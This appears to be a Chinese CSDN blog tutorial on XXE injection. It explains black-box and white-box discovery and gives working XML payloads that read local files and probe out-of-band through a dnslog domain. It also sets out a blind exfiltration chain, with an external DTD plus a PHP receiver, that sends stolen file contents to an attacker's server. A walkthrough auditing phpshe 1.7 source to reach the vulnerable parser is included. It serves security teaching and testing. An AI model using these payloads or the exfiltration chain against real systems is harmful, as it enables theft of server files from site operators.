XXE漏洞-黑白盒测试+无回显

文章详细介绍了XXE漏洞的概念,它发生在XML解析时允许外部实体加载,导致安全风险。文中提供了黑盒和白盒测试方法,以及如何通过XMLpayload读取文件、进行带外测试和解决无回显问题的案例。此外,还展示了如何在PHP源码中审计和利用此类漏洞。
摘要由CSDN通过智能技术生成

什么是xxe漏洞?

         XML被设计是为了传输和存储数据,XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XXE黑盒发现:

1、获取到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

2、不管获取的是Content-Type类型还是数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

案例:xxe漏洞-读取文件

一个登录功能

抓包发现是使用xml类型传输的数据,可能存在xxe漏洞

伪造一个读取文件的xml外部实体payload

读取文件:

<?xml version="1.0"?>

<!DOCTYPE Mikasa [

<!ENTITY test SYSTEM  "file:///d:/www.txt">

]>

<user><username>&test;</username><password>Mikasa</password></user>

www. txt内容  :xiaoheizi:请不要试图读取我

成功读取到文件内容

案例:xxe漏洞-带外测试

带外测试:为了在网站不回显时,确认漏洞是否存在

打开网站dnslog.cn获取测试域名

测试xml代码:

<?xml version="1.0" ?>

<!DOCTYPE test [

    <!ENTITY % file SYSTEM "http://eb3q1r.dnslog.cn">

    %file;

]>

<user><username>&send;</username><password>Mikasa</password></user>

更改数据包发送

dns成功接收到访问信息,说明插入的xxe漏洞payload被解析执行了,存在xxe漏洞

案例:xxe漏洞-解决无回显问题

dtd格式文件:

dtd是xml的一个实体文件,里面写的是xml的代码。可以解决拦截防护绕过问题和数据不回显问题

无回显读取文件内容的xml代码:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/www.txt">

<!ENTITY % remote SYSTEM "http://127.0.0.1:100/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

意思是:读取www.txt内容,发送给http://127.0.0.1:100/test.dtd。

test.dtd内容:<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:100/get.php?file=%file;'>">

意思是:接收数据到get.php文件

get.php内容:

<?php

$data=$_GET['file'];

$myfile = fopen("file.txt", "w+");

fwrite($myfile, $data);

fclose($myfile);

?>

意思是:将接收到的数据写入到file.txt文件中。

抓包修改接收的数据为xxe漏洞payload

点击发送,127.0.0.1:100网站服务器下成功生成一个file.txt文件

打开成功获取www.txt的内容

简单来说就是:目标网站不回显,攻击者就把获取的数据发送到自己的服务器上去看

案例:xxe漏洞-phpshe1.7源码(无回显审计)

1.浏览器搜索一些xxe漏洞的函数

如:simplexml_load_string()函数

2.打开源码全局搜索漏洞函数。使用的审计工具是:Seay源代码审计系统

3.依次打开函数位置,审计代码发现大概率存在xxe漏洞

4.可以看到pe_getxml函数调用了漏洞函数,要确定是谁调用了pe_getxml

选中函数---右键---全局搜索

5.wechat_getxml调用了pe_getxml,要确定是谁调用了wechat_getxml

最后确定是notify_url.php文件调用了wechat_getxml

6.访问notify_url文件触发wechat_getxml函数,构造Paylod测试

7.抓取访问notify_url.php文件的数据包

8.尝试读取文件无回显,使用带外测试看看有没有漏洞

dnslog有解析记录,说明存在xxe漏洞

9.使用带外传递数据解决无回显

10.发送数据包,成功在攻击者服务器生成一个file.txt文件接收读取的数据

内容:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值